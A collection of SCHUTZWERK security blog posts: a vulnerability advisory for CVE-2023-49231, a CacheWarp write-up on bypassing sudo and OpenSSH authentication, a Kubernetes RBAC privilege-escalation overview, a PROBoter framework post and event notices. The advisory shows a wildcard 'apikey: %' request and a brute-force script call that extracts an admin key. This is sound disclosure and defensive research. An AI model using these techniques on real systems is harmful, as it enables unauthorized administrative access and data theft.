KmU3ot2Kwjty2aLj7CBdg8Mrc4Rr3PH2PoXWxSEBMWqokoO2zWVft+5BpJ/onU2P
um41+KNb7h7Pf/QVkU1KOZbwAI9tgJvZn2hHXmbQov0w3s0J9dqNoJ4Eu+qVPMAx
+Ug9Qvo3Qh325pDEeqxUhOsPh4dHam97ouDYE3XXLlKk8rar8TjhANAHHO4uUltW
gikWB1VVmGy7XS9lflWE1QLqO8BBK1jZUDU21fWQeAeF64R6NXikj0tkfvjOwwt/
CTQ2Nugk2kdYf5d73FSO9ds=
=PvYR
-----END PGP SIGNATURE-----

Advisory: Authentication Bypass in Visual Planning REST API (CVE-2023-49231)

Lennert Preuth — Thu, 28 Mar 2024 14:00:00 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-003: Authentication Bypass in Visual Planning REST API
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-49231
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-003/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-003.txt
Affected products/vendor
========================
All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.
Summary
=======
A wildcard injection inside a prepared SQL statement was found in an undocumented Visual Planning[0] 8 REST API route. The combination of fuzzy matching (via LIKE operator) and user-controlled input allows exfiltrating the REST API key based on distinguishable server responses. If exploited, attackers are able to gain administrative access to the REST API v2.0.
Risk
====
The vulnerability allows attackers to obtain a valid API key for the Visual Planning REST API v2.0. With such a key, attackers can use corresponding endpoints to exfiltrate company data or upload/download files. If no external user management (e.g. LDAP) is configured, the API key can also be used for user management tasks including the creation of administrative users. Since administrators are allowed to upload modules using the Visual Planning Admin Center, a compromise of the underlying server is likely.
Description
===========
During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an authentication bypass in Visual Planning's administrative REST API v2.0.[1]
Corresponding API routes are implemented in the PlanningWSRestV2.java file. A comparison between the documentation and implemented routes revealed an undocumented route (documentation accessed on 2024-03-05), which is externally reachable via a GET request to the /session endpoint.
The following code snippet shows the corresponding undocumented route, which takes the value of the apikey header as an argument:
vp.jar.src/com/visualplanning/webservice/PlanningWSRestV2.java
/* */ @GET
/* */ @Path("/session")
/* */ public Response openSession(@HeaderParam("apikey") String apikey, @HeaderParam("keepalive") String keepalive) {
/* 123 */ if (apikey == null || apikey.trim().isEmpty()) {
/* 124 */ return WSResponse.instance().errorApikey((Response.StatusType)Response.Status.FORBIDDEN, apikey);
/* */ }
/* */
/* 127 */ WSSession session = WSSession.existsSession(apikey);
/* 128 */ if (session != null) {
/* 129 */ return WSResponse.instance().error((Response.StatusType)Response.Status.FORBIDDEN, "Already opened session for apikey : ", apikey);
/* */ }
/* */
/* 132 */ if (WSSession.getSession(apikey, (keepalive != null && Boolean.parseBoolean(keepalive) == true)) == null) {
/* 133 */ return WSResponse.instance().errorApikey((Response.StatusType)Response.Status.FORBIDDEN, apikey);
/* */ }
/* 135 */ return WSResponse.instance().success("WSSession created for apikey : " + apikey);
/* */ }
Line 132 shows a call to the getSession(apikey, ...) method of the WSSession class. Subsequently, the getSession(..) method will call the makeSession(apikey, ..) method of the same class.
The following code snippet shows the makeSession(..) method. Line 646 contains the vulnerable prepared SQL statement, which is prone to wildcard injections[2] due to the usage of the LIKE operator in combination with user-controlled input:
vp.jar.src/com/visualplanning/webservice/WSSession.java
/* */ private static WSSession makeSession(String apiKey, WSSessionType type) {
/* 634 */ WSSession wsSession = new WSSession();
/* 635 */ WebApplicationContext applicationContext = WebApplicationContext.getDefaultApplication();
/* 636 */ UserSession userSession = applicationContext.createUserSession();
/* */
/* 638 */ DBConnection connection = applicationContext.createUserSession().getDBConnection();
/* 639 */ String databaseName = applicationContext.getProperty("Application", "Databasename", "VisualPlanning7");
/* */
/* 641 */ connection.setPoolMode(false);
/* 642 */ connection.setDatabase(databaseName);
/* */
/* */ try {
/* 645 */ if (type == WSSessionType.CLIENT) {
/* 646 */ String planningQuery = "SELECT XMLContent FROM Planning WHERE XMLContent LIKE ?";
/* 647 */ PreparedStatement stmt = connection.createPreparedStatement(planningQuery);
/* 648 */ stmt.setString(1, "%<APIKey>" + apiKey + "</APIKey>%");
/* 649 */ ResultSet rs = stmt.executeQuery();
/* */
/* 651 */ if (!rs.next()) {
/* 652 */ return null;
/* */ }
The following GET request demonstrates the behavior of injecting a percent sign as wildcard character:
GET /vplanning/api/v2/session HTTP/1.1
Host: vp-host
apikey: %
[..]
The server will respond with a success message, indicating that a session was created for the used API key:
HTTP/1.1 200
[..]
WSSession created for apikey : %
Further tests showed that an apikey header payload of '1%' will result in a similar success response, if the api key starts with the character '1'. A payload with a different non-matching first apikey character like '2%' will result in a status code 403 and the error message 'Invalid API key (2%)'.
The proof-of-concept script brute_vp_apikey.py[3] was developed in order to automate the process of exfiltrating the full apikey. The script can be executed as follows against a vulnerable Visual Planning instance and to extract the administrative api key:
$ python3 brute_vp_apikey.py --url http://127.0.0.1:8080
Visual Planning API Key: 79d4add3-6995-8cae-976b-4aaaddd90616
Solution/Mitigation
===================
The vendor suggests to update to Visual Planning 8 (Build 240207)
Disclosure timeline
===================
2023-11-01: Vulnerability discovered
2023-11-09: Contact vendor in order to determine security contact
2023-11-10: Received generic sales response from vendor
2023-11-14: Contacted CTO of vendor directly
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor
2023-11-24: CVE assigned by Mitre
2023-11-24: Additional technical details provided to vendor
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress
2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed
2024-03-08: Sent advisory drafts to vendor
2024-03-28: Received patch information and release of advisory
Contact/Credits
===============
The vulnerability was discovered by Lennert Preuth of SCHUTZWERK GmbH.
References
==========
[0] https://www.visual-planning.com/en/
[1] https://app.swaggerhub.com/apis-docs/VisualPlanning/visual-planning_api_rest_v_2_0_us/2.0-oas3
[2] https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#sql-wildcard-injection
[3] https://www.schutzwerk.com/en/43/assets/advisories/brute_vp_apikey.py
Disclaimer
==========
The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0QkaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvAZhAArh5MI5kM1lTjcIPPMiDS
VXJ51Z39qgcXySyrqrKslnP/2a/pfpakD8g161oOTSK/tt9Yd6L/6O5Vywe7Kx5V
lkVw7bs9J0WCY8aYzJ9RxdALt7HexAG+USgbjFWFajdSNNJ8giBu3P3ZCE8/GbHJ
0bKd8AN88NKL954olnI6qGbbnOr/QXWuIOWAYF9wXLgEk992hszYgt7SJIrFHuX6
2TC4iWOv4+72HQiQ8QYXCAZZVBDr3mUPQRBSJ9AZ3x7mxtJtMg8DyW0OATNe9Qlq
IUO7HFqrPwTQmFKf9whk8QD7/Y9dKTpAjlVzvXe49COqbjOzxmIe7muxwyVlOrqO
J9ZqreOr/ENLUgYDBaTLSTAHdEFNeqRGPK3dG0yiRSi3dtavJwr8PN1L52qTqLzT
C+Yrruu6Ac6pSin1Ea9WaXF+YS1ErRcbZxkRD5pS4s6V4NMkV4bDWlDtraQ0rDfL
AA+TxtA25p34S2MV/b3qAiA66UjrXEb6IJVNx4Rx7X3+gcLgI2w7t3DQEVuPaB3k
ltT1oV6ei7tqeQpn7usHzlfa6lq7Q3PIRpxYAo0g4kp4cVVblLRNWDpZMK+cBj1N
MrGP2f50gbpYej/yYHsXNU2pMfbUPoSq3X8uwVCoLvaBSBWx7I3TM1hl0/3wBi/w
phO+Bauh2QYGX2mFw/mduZM=
=ycwQ
-----END PGP SIGNATURE-----

SCHUTZWERK at Embedded World 2024

SCHUTZWERK GmbH — Wed, 06 Mar 2024 09:00:00 +0100

We from SCHUTZWERK will be at the Embedded World in Nuremberg from April 9th to 11th, 2024! The Embedded World is a trade fair for experts in embedded systems. Come visit our booth 372 in Hall 5 and meet our special companion: Our Glitching Setup, which we use for Fault-Injection attacks as part of Embedded Security Assessments , for example, to bypass security checks like password prompts.

Learn also how attackers specifically exploit weaknesses in the microarchitecture of systems or their software to bypass security measures. Our team of experts will happily answer your questions and also introduce you to our services in Embedded Security Assessments . We are happy to support you with your projects and see what you really need, because our motto is: Mastering Cybersecurity from Silicon to Cloud. Talk to us, we look forward to your visit!

To schedule a meeting use the calendar below.

You want to meet us, but got no ticket? No worries! Please email us at anfrage@schutzwerk.com for your free ticket!

SCHUTZWERK at the building IoT 2024

SCHUTZWERK GmbH — Thu, 15 Feb 2024 09:00:00 +0100

SCHUTZWERK is visiting Munich! From February 21st to 22nd, 2024, we will be at the building IoT Conference participating with a presentation. The building IoT has been the meeting point since 2016 for those developing software applications and digital products in the Internet of Things and Industrial Internet of Things.

On February 22nd, in our presentation Breaking Through the Wall: Side Channel Attacks and Fault Injection we will showcase invisible methods through which attackers obtain confidential information. We will shed light on hidden dangers and provide a practical and illustrative insight into the topic, strengthening awareness of the complex threats in the highly connected world of IoT.

We look forward to exchanging ideas on IoT and Embedded Security at the event. Would you like to schedule a meeting with us in advance? We’d be happy to! Simply send us an email at info@schutzwerk.com with a proposed time. We will be onsite throughout the conference.

CacheWarp: Dropping one write to take over AMD-SEV

Youheng Lü — Thu, 23 Nov 2023 09:14:16 +0100

On 2023-11-14 the CISPA Helmholtz Center for Information Security published a new Attack on AMD-SEV called CacheWarp CVE-2023-20592 , in which I am one of the original authors. This attack allows a malicious hypervisor to drop memory writes on an encrypted Virtual Machine using the invd instruction. Due to the difficulty of the setup, a feasible attack should only drop memory once to achieve its goal. In this article, we examine how one memory drop is enough to break openssh and sudo to completely hijack the victim Virtual Machine.

Preliminaries

AMD-SEV

AMD-SEV, or AMD Secure Encrypted Virtualization, is a hardware-based security feature that enables encryption of virtual machines' memory, theoretically safeguarding data from unauthorized access even if the hypervisor is compromised. It helps protect sensitive information within cloud environments by encrypting each virtual machine’s memory, enhancing overall system security.

Attack scenario

In the attack scenario, we assume the attacker to be a malicious hypervisor, who wants to break into a guest Virtual Machine running on AMD-SEV. Using CacheWarp the attacker can leverage the invd instruction to selectively drop a memory write. Using this primitive the attacker wants to break into the system by first logging into the machine using openssh and then escalating their privileges using sudo.

Attack Detail: Dropping a memory write

In our context, a memory write is when a program attempts to write any value to a specific address. A write to a register cannot be attacked by CacheWarp. Due to the complexity of the CacheWarp attack, it is best to find attacks that only require one dropping a single write. The specifics of how the write drop is accomplished are out of the scope of this article and can be found in the original Research Paper [1].

Attacks

The sudo attack is a lot simpler than the openssh attack, therefore we analyze this one first.

Privilege escalation - Sudo - keep UID=0

sudo allows a user to execute commands with administrative privileges but contains a few checks to determine whether a user is authorized to do so. By dropping a specific write we can trick sudo into thinking that we are already the root user, bypassing any further checks. The attack targets the get_user_info function, which collects various information about the current user. We abuse that the root user has UID=0 and the struct user_details is initialized with zero values.

static char ** get_user_info(struct user_details *ud) {
// ...
 ud->uid = getuid(); // <-- victim
 // ...
}

When we drop the write in the line ud->uid = getuid(), ud->uid stays 0. The next time sudo checks, it will see UID=0 and believe we are the root user and executing our requested command with administrative privileges without any further checks.

Initial Access - OpenSSH - Leveraging TimeWarp

The attack on openssh targets the control flow of the program, using a primitive called Timewarp to trick the program into checking if (real_password == real_password) return authorized

Challenge - Compiler Optimizations

While the sudo exploit conveniently has one variable that lets us pass all checks, it is quite difficult to find such convenient write-drops in the wild. One big reason is that most programs are compiled using GCC with the compiler flag -O2 which optimizes compiled C-Code. One effect of this optimization is that local variables, where possible, are stored in registers instead of in memory. Since CacheWarp cannot attack registers, most lines, like the one below are probably not vulnerable.

void foo(){
// ...
 authorized = 0; // <-- Not vulnerable
 // ...
}

While there are exceptions, as a general rule CacheWarp can only be used on global variables and structs since these are memory writes and not optimized into registers. In the sudo case, we were very lucky that the UID was stored in the user_details struct.

TimeWarp - Using knowledge from the future and then going back in time

To expand the attack surface, it is necessary to look beyond for new ideas: Programs use memory for more than just storing global variables and structs One such use-case is using the stack to keep track of function return addresses. Consider the following example:

void foo(){
//...
}
int main(){
puts("Before foo");
foo();
puts("After foo"); // Return address
}

Before entering the foo function, the program stores the return address of puts("After foo") on the stack. When foo finishes, the program can continue where it left off.

Stack before foo()	Stack after calling foo()
…	…
uninitialized	main+33 (Address of “After foo”)
…	…

The Stack is part of memory and therefore vulnerable to CacheWarp. In the following example, we can leverage this behavior to manipulate control flow into an impossible state:

#include <stdio.h>
int return0(){
return 0;
}
int return1(){
return 1;
}
int main(){
if (return0() == 1){ // <- Stale return address
 puts("You are a time-warping Wizard!");
}
return1(); // <- Victim
 puts("After return1"); // <- Correct return address
}

The x86-Assembly of the main function looks like this:

main+0: endbr64
main+4: push rbp
main+5: mov rbp,rsp
main+8: mov eax,0x0
main+13: call 0x555555555149 return0
main+18: cmp eax,0x1 # <- Stale return address
main+21: jne 0x55555555518d main+38
main+23: lea rax,[rip+0xe7f] # 0x555555556004 ("You are a time-warping ...")
main+30: mov rdi,rax
main+33: call 0x555555555050 puts@plt
main+38: mov eax,0x0
main+43: call 0x555555555158 return1 # <- Victim
main+48: mov eax,0x0 # <- Correct return address
main+53: pop rbp
main+54: ret

The call instruction contains an implicit write of the return address to the stack. By triggering a write drop at main+43 call return 1, we can trigger a so-called TimeWarp. This effectively returns the program to main+18 with the return value of 1, printing out “You are a time-warping wizard”. In detail, the following steps happen:

When calling return0() the program writes the main+18 as the return address onto the stack.
When calling return1() the program attempts to write main+48 as the new return address onto the stack.
Writing of the new return address is blocked, and the old return address will be used when the function return1 returns the program to main+18.

Stack after call return0	after call return 1	Dropping the write
…	…	…
main+18	main+48	main+18 (stale return address)
…	…	…

Using this TimeWarp primitive, we can now attack the password login of OpenSSH. The sys_auth_passwd function checks whether the user has entered the correct password. When the function returns 1 the user is authenticated.

// Returns 1 if user authenticated 0 else
int sys_auth_passwd(struct ssh *ssh, const char *password) {
[...]
char *encrypted_password, *salt = NULL;
char *pw_password = shadow_pw(pw); // <- stale return address
 // After the TimeWarp: pw_password = xcrypt(password, salt)
 [...]
if (authctxt->valid && pw_password[0] && pw_password[1])
salt = pw_password;
encrypted_password = xcrypt(password, salt); // <- victim
 return encrypted_password != NULL && strcmp(encrypted_password, pw_password) == 0;
}

Using TimeWarp, we only need to target the xcrypt call, such that we return back to the line char *pw_password = NULL. This reuses the return value of xcrypt making it such that:

pw_password = xcrypt(password, salt);
encrypted_password = xcrypt(password, salt);
// The following check passes since both strings are the same
strcmp(encrypted_password, pw_password) == 0 // -> User gets authenticated

An observant reader may ask whether the salt value makes any difference. The answer is that it does not make a differenc since the first two characters of a password hash are always $y. Given that xcrypt only uses the first two characters of a salt, the result of both xcrypt calls will stay the same.

Summary

In this article, we demonstrate, how a single write drop CacheWarp, can be leveraged to completely take over a system using openssh and sudo.

References

[1] Zhang, R., Gerlach, L., Weber, D., Hetterich, L., Lü, Y., Kogler, A., & Schwarz, M. (2024). CacheWarp: Software-based Fault Injection using Selective State Reset. 33rd USENIX Security Symposium (USENIX Security 24). Paper

Cooperation with TeleChips to strengthen their SoC cybersecurity

Dr. Bastian Könings — Tue, 22 Aug 2023 09:00:00 +0100

We are excited to announce that Telechips, a leading supplier of System-on-Chip (SoC) components for automotive In-Vehicle Infotainment and cockpit solutions based in Seoul, South Korea, has selected SCHUTZWERK as their strategic partner for SoC cybersecurity assessments.

Telechips has chosen to partner with SCHUTZWERK, a renowned and experienced provider of automotive and embedded security assessments , to conduct comprehensive cybersecurity assessments of their entire SoC portfolio through the end of 2024.

This partnership will harness the expertise of SCHUTZWERK’s seasoned embedded security team to maintain and enhance the robust security of Telechips' SoCs. The detailed and reproducible assessment documentation provided by SCHUTZWERK, coupled with Telechips' well-established security management processes, will ensure that Telechips' SoCs remain a secure choice for Original Equipment Manufacturers (OEMs) and suppliers worldwide.

This collaboration underscores both companies' unwavering commitment to upholding the highest level of security in the rapidly evolving landscape of embedded systems.

“We are eager to deepen our relationship with Telechips, a company renowned for its innovative SoC technology,” said Dr. Bastian Könings, a key member of SCHUTZWERK’s embedded security team. “This partnership enables us to apply our cybersecurity expertise to bolster the security of Telechips' SoC variants, ensuring they continue to be safe and reliable in our increasingly interconnected world.”

This is not the first time SCHUTZWERK and Telechips have joined forces. They previously collaborated on an embedded security assessment project for a Telechips SoC. The successful outcome of that project laid a solid foundation for this strategic partnership. More details about this previous project can be found in the corresponding success story ."

Kubernetes RBAC: Paths for Privilege Escalation

Stefanos Can Mytilineos — Mon, 17 Jul 2023 08:00:10 +0100

This is the first post of our Kubernetes security series. In this series we explain and showcase common weak points of enterprise Kubernetes clusters. Many of the described vulnerabilities we encounter when performing Cloud Security Assessments for our customers.

This series consists of four parts. We will update the links as soon as the following parts are published:

Part I: Kubernetes RBAC: Paths for Privilege Escalation
Part II: Kubernetes RBAC: Hands on Privilege Escalation
Part III: Protecting Kubernetes: Common Admission Controller (Mis)Configurations
Part IV: Extending RBAC: Making Use of Admission Controllers to Automate Permission Management

Kubernetes is a widely used open-source container orchestration system that helps to reduce workloads when dealing with container management in distributed systems. If you are interested in learning more about Kubernetes, the official documentation (1) is a good place to start. Its built-in authorization module (2) - which is based on role-based access control principles - is enabled by default and provides authorization mechanisms that prevent unauthorized access to resources. However, certain permissions enable their subject - here referred to as entity (users, groups, service accounts) - to escalate their privileges to a potentially Cluster compromising extent. In this post, we present various ways to escalate privileges within a Kubernetes Cluster and provide explanations as to how an exploit might work.

Privilege Escalation Threats

In total, this post contains 7 different known privilege-escalation threat-vectors, which are enabled by the following permissions:

create Pods
read Secrets
bind Roles
escalate existing Roles
impersonate entities in the Cluster

Let’s have a high-level look at what the threats are and why they are caused by these permissions.

Pod Creation

Pods are the basic work unit of every Kubernetes Cluster. Each Pod consists of at least one container, which, in turn, runs an application. In short: If you are using Kubernetes, you are using Pods.

One might be wondering: Why does a basic permission that is essentially the most widely-used feature of Kubernetes pose a privilege escalation threat? It’s because of (overprivileged) containers! While the RBAC system does enforce that only authorized users can create Pods, it does not enforce what these users can put into their Pod definitions. Without proper admission control (3) , users who are authorized to create Pods can use arbitrary images to create containers packed with arbitrary privileges and configurations. The following subsections outline the corresponding exploitation scenarios.

Mounting a Service Account Token

Pod definitions can specify the option to automatically mount (4) the authorization token for a service account within the same namespace. With this in mind, creating Pods can simply be used as a mechanism to gain the authorization token of some high-privileged target service account and then proceed to perform API actions with that token. To achieve this, an attacker might create a Pod that is based on a backdoor-containing image and simply steal the token.

Mounting an existing Serviceaccount token to obtain the Serviceaccounts' privileges.

Obtaining Access to a Cluster node

If an entity is allowed to create arbitrarily privileged containers (e.g. a lack of comprehensive admission control), it is possible to spawn vulnerable Pods that allow an attacker to gain easy access to the corresponding container and more importantly, potentially access to the underlying node within the Cluster. Various examples (5) exist that illustrate a simple way of doing this. Essentially this method consists of 2 steps: Gaining access to the container and then escaping the container by means of traditional container escape techniques.

Obviously, having access to any node within a Cluster is a major breach in and of itself. However, in terms of privilege escalation within Kubernetes, this can have even larger consequences. By gaining access to the node, an attacker could either:

use the underlying container engine to access mounted Serviceaccount tokens of any Pod that is running on the same node
search for application information and configuration files on the node that potentially expose further parts of the Cluster
discover hosts and services on the network that are not related to Kubernetes (e.g. DNS Servers)

By exploiting this vulnerability the attacker gains access to the Kubernetes node, which increases the attack surface significantly.

Abusing Pod creation permissions to gain access on the underlying host.

Secret Reading

It goes without saying that the permission to read Secrets - in any system - should be given with caution. This is also true in the context of Kubernetes RBAC. In Kubernetes, Secrets can be used to store application-critical configuration data in the Cluster in a relatively secure manner. Being able to read these Secrets is a very valuable position to be in. More importantly, authorization tokens of existing Serviceaccounts are also stored as a Secret in the Serviceaccounts' corresponding namespace. In consequence, anyone who is able to read Secrets within a namespace can steal these authorization tokens and essentially owns the respective Serviceaccounts' permissions.

Read Secrets to obtain a Serviceaccounts authorization token.

Brute-Forcing Secrets

In terms of permission verbs (6) , Kubernetes makes a distinction between the verbs get, and list. While list allows an entity to retrieve a collection of the respective resource, get only allows the retrieval of single resource objects. This means that if an entity possesses the get permission on Secrets, it needs to know the exact name of that Secret in order to get its information.

(Un)Fortunately, Kubernetes adheres to a certain pattern with which it automatically creates Secrets that belong to service accounts. The pattern goes <service-account-name>-token-<5-digit-alphanumeric>. Consequently, finding the correct 5-digit alphanumeric combination for a given service account can be done in a matter of hours.

Brute-forcing a Serviceaccounts' corresponding Secret name to obtain its privileges.

Impersonation

In Kubernetes, impersonation (7) is a mechanism that allows an entity to act as another entity while performing API requests. This can be useful for administrators of the Cluster to check whether implemented configurations (e.g. newly created Roles) work as intended. However, attackers can use this mechanism to act as higher-privileged entities.

Impersonation is done by adding the impersonation header: Impersonate-User: <user> to the API request that is being sent to Kubernetes. Kubernetes first checks whether impersonation on the target is allowed and then proceeds as if the impersonated entity has made the request.

Impersonating service accounts works similarly, but requires a little bit more specification within the username field. The respective header looks like this: Impersonate-User: system:serviceaccount:<namespace>:<service-account-name>

Impersonating a group is done in the same way, with the difference of having to provide the Impersonate-Group header instead of the Impersonate-User header.

Escalating privileges via Kubernetes' built-in impersonation mechanism.

Bind

Theoretically, possessing the permission to create Rolebindings in Kubernetes is powerful as one could assign Roles or Clusterroles to oneself in order to obtain those permissions. However, Kubernetes does not allow binding Roles that possess more privileges than already held, if not explicitly allowed with the bind verb.

Binding Roles

If an entity holds both, the permission to create Rolebindings and the permission to bind Roles, it can assign arbitrary Roles to itself and elevate its privileges depending on the Roles available in the namespace in which these permissions are available on.

Binding Clusterroles within a namespace

If an entity holds the permissions to create Rolebindings and bind Clusterroles, it is permitted to bind the permissions of a Clusterrole to the respective namespace. This is a generally greater privilege escalation than the first variant.

Binding Clusterroles cluster-wide

Finally, if an entity holds the permissions to create Clusterrolebindings and bind Clusterroles, it is permitted to gain the highest possible permissions within the Cluster by binding the permissions of the most privileged entities within the kube-system namespace to itself.

Escalating privileges by using 'bind' permissions.

Escalate

Let’s say an entity possesses the permissions to create Roles or update existing Roles. Attackers could abuse this to update Roles that are already assigned to them to contain the highest of privileges. However, this is not permitted by Kubernetes as it disallows creating Roles with permissions that are not already held. This is where escalate chimes in. Escalate is a verb that specifically exists to allow entities to create or edit Roles and Clusterroles that grant permissions that they themselves currently do not possess. If an entity has the permission to create/update Roles or Clusterroles and additionally possesses the permission to escalate, it can assign arbitrary permissions to itself.

Using escalate to increase current permissions.

While this post has focused on explaining the theory of existing privilege escalation techniques within the Kubernetes' RBAC module, the next post will showcase hands-on examples of exploitation performed on a locally running kind (8) Cluster.

If you liked this post, dont forget to follow us on Twitter , LinkedIn , Xing to stay up-to-date with our latest content!

References

[1] Kubernetes Overview
[2] Kubernetes RBAC
[3] Admission Controllers
[4] Configuring Service Accounts for Pods
[5] Bad Pods Lineup
[6] Kubernetes API verbs
[7] User Impersonation in Kubernetes
[8] Kind
Raesenes Blog - Kubernetes
Eviatar Gerzi- Compromising Kubernetes Cluster by Exploiting RBAC Permissions

The PROBoter software framework

Fabian Weber — Mon, 10 Jul 2023 07:00:00 +0100

The last part of the PROBoter series showed how innovative algorithms can help an embedded system penetration tester to analyze recorded voltage signals of an unknown PCB. Besides basic signal characteristics, these algorithms can link signal lines and identify communication buses typically found on PCBs like I2C or SPI. In this final post of the PROBoter series, we draw the big picture of the PROBoter software framework. In parallel to the release of this post, all missing services forming the framework are released on the PROBoter Github repo [1]. The list below gives an overview of the topics covered in this blog post series.

PROBoter demo video
Part I: Introducing a platform for automated PCB analysis
Part II: The hardware platform
Part III: Visual PCB analysis with Neural Networks and classic Computer Vision algorithms
Part IV: Automated voltage signal analysis and protocol identification
Part V: The PROBoter software framework

Platform design vs. Software architecture

The main design goal of the PROBoter platform is to assist security analysts throughout the whole process of an embedded system penetration test . Right from the beginning, the main focus was the development of a hardware platform that assists an analyst by automating manual electrical probing tasks. This lead to the hardware-centered platform design shown in the image below. Additional services, like visual analysis of PCB images or voltage signal analysis are grouped around data generated by the PROBoter hardware platform.

PROBoter platform design

While this picture is valid from a functional point of view, the software architecture of the platform was adjusted to address another important issue: We at SCHUTZWERK know that building the PROBoter hardware platform can be quite an adventure. Therefore, we designed the PROBoter software in a way so that as many functionalities as possible can be used even if the hardware platform is not present. This way, analysts can still benefit from the project. For example, you can just use the interactive PCB editor and project management to document your analysis results and speed up your daily work. The resulting software architecture can be seen in the image below.

PROBoter software architecture

The individual building blocks

The base of the PROBoter software architecture is formed by a set of microservices written in Python. Each service exposes its functionality via a REST-based API to allow easy integration either in the PROBoter platform as a whole or in customized analysis workflows. Due to its asynchronous and time intensive nature, the hardware control service additionally provides a Websocket-based interface. As unified frontend, we implemented a web-based UI currently designed as Single Page Application (SPA). All backend services use either Flask [4] or its asyncio [5] equivalent Quart [6] as primary web framework. For each service, the REST API is described using Swagger [7]. All backend services are located behind a reverse proxy so that only a single port must be exposed by the system hosting the PROBoter software framework.

The user interface of the PROBoter is implemented as an SPA developed with Vue [8] and three.js [9] for 3D rendering. Even though currently designed as monolith project, UI elements and API connections have been separated into individual components that might be migrated into the corresponding backend services as Micro Frontends.

To orchestrate all of the PROBoter’s backend services and the frontend, we provide a Docker Compose [10] setup to configure and start all services with just a few terminal commands. Besides the central data storage service, the other backend microservices can be removed or included depending on your individual needs. For example, if you don’t have the PROBoter hardware platform, you can simply remove the hardware control service from the Docker Compose setup and just use the software-only analysis services.

The source code of the whole PROBoter software platform is released in the PROBoter Github repo under the GPLv3 license, so any contribution, participation and feedback is welcome!

What it looks like

After talking about the software architecture, the following screenshots give an impression of how the PROBoter software platform and especially the web UI looks like.

Projects are managed on a PCB level by an analyst. The respective backend logic is encapsulated in the project and data storage microservice . The respecitve UI interface is shown in the screenshow below.

Listing of exisiting projects in the web UI.

Usually, an analyst will spend most of the time working with the interactive PCB editor while inspecting an unknown PCB. The editor allows to get an overiew of the PCB under test and to manually add analysis results, like located and identified PCB components. The screenshot below shows the PCB editor rendering a live 3D model of the PROBoter hardware during an automated electrical net reversing process.

PCB editor showing a live 3D rendering of the PROBoter hardware during automated probing.

Specialized analysis functions like the one for visual PCB analysis and voltage signal analysis is bundled in individual stand-alone services which have been already introduced in previous posts. This functionality is also made accessible directly in the PCB editor to allow a smooth analysis workflow.

Example of the intregation of specialized analysis functionality in the web UI, like in this case automated PCB image analysis.

The interface to the PROBoter hardware is encapsulated in a separate hardware control microservice. Besides configuration and low-level control, this service also offers high-level analysis functionality like algorithms for electrical net reversing. This functionality is rarely used directly but is required e.g. for initial calibration and setup of the PROBoter hardware. It is therefore also integrated in the web UI as can be seen below.

Low-level hardware control of the PROBoter hardware.

Showcase

To demonstrate how all the described pieces fit together, the following video gives an impression of how an analysis workflow of an unknown PCB looks like using the PROBoter platform. It shows the inspection of a popular DSL router’s PCB from initial image generation to finally getting a root shell on the device.

Your browser does not support the video tag.

PROBoter: Sample workflow

The following analysis tasks are performed in the video:

First of all, a new project for the router’s PCB is created.
An initial image of the PCB under test is created using the low-resolution static camera system of the PROBoter hardware .
The generated PCB image is analyzed using the Visual PCB Analysis microservice. For pin detection, the TensorFlow-based detector is used with the trained Faster R-CNN model. Pins are located using the implemented computer vision pipeline. More information can be found in the previous blog post about component and pin detection .
A group of test pads are manually created for automated electrical probing in the next step.
Voltage signals are measured at the previously defined test pad locations with the PROBoter hardware and an attached oscilloscope.
The following automated analysis of recorded voltage traces identifies an UART communication interface on the selected test pads.
After switching the analysis tool of the PROBoter hardware to a USB-to-UART adapter, the test pads are again automatically probed. This time, the probe signals are routed to the digital inputs of the USB-to-UART adapter.
The embedded, interactive UART shell is used to communicate with the target under test. Because no password is set for the user root, direct access to the system with highest privileges is granted. This is also verified by the output of the id command confirming the currently logged-in user is root.

Next steps

The PROBoter platform is still under active development. We are still testing the reliability and usability of the platform in real world projects. Furthermore, we are constantly improving the assisting analysis services both for PCB image data and voltage signals.

References / Credits

[1] PROBoter GitHub repository
[2] PROBoter paper DOI: 10.13154/294-8348
[3] PROBoter demo video
[4] https://github.com/pallets/flask
[5] https://docs.python.org/3/library/asyncio.html
[6] https://github.com/pallets/quart
[7] https://swagger.io/
[8] https://vuejs.org/
[9] https://threejs.org/
[10] https://docs.docker.com/compose/

The work was sponsored by the BMBF project SecForCARs and supported by igus GmbH . It was created at SCHUTZWERK GmbH (supervisors Dr. Bastian Könings & Msc. Heiko Ehret) in cooperation with Hochschule Kempten (examiners Prof. Dr. Elmar Böhler & Prof. Dr. rer. nat Stefan Frenz).

SCHUTZWERK AT BARAL CONNECT 2023

SCHUTZWERK GmbH — Thu, 01 Jun 2023 13:00:00 +0100

On June 15, Baral Connect 2023 takes place in Reutlingen. SCHUTZWERK GmbH is an official sponsor and speaker of the event.

Visit us at the Baral Connect 2023 ! The conference addresses the question: How do we want to use and protect geodata to create a livable world of the future?

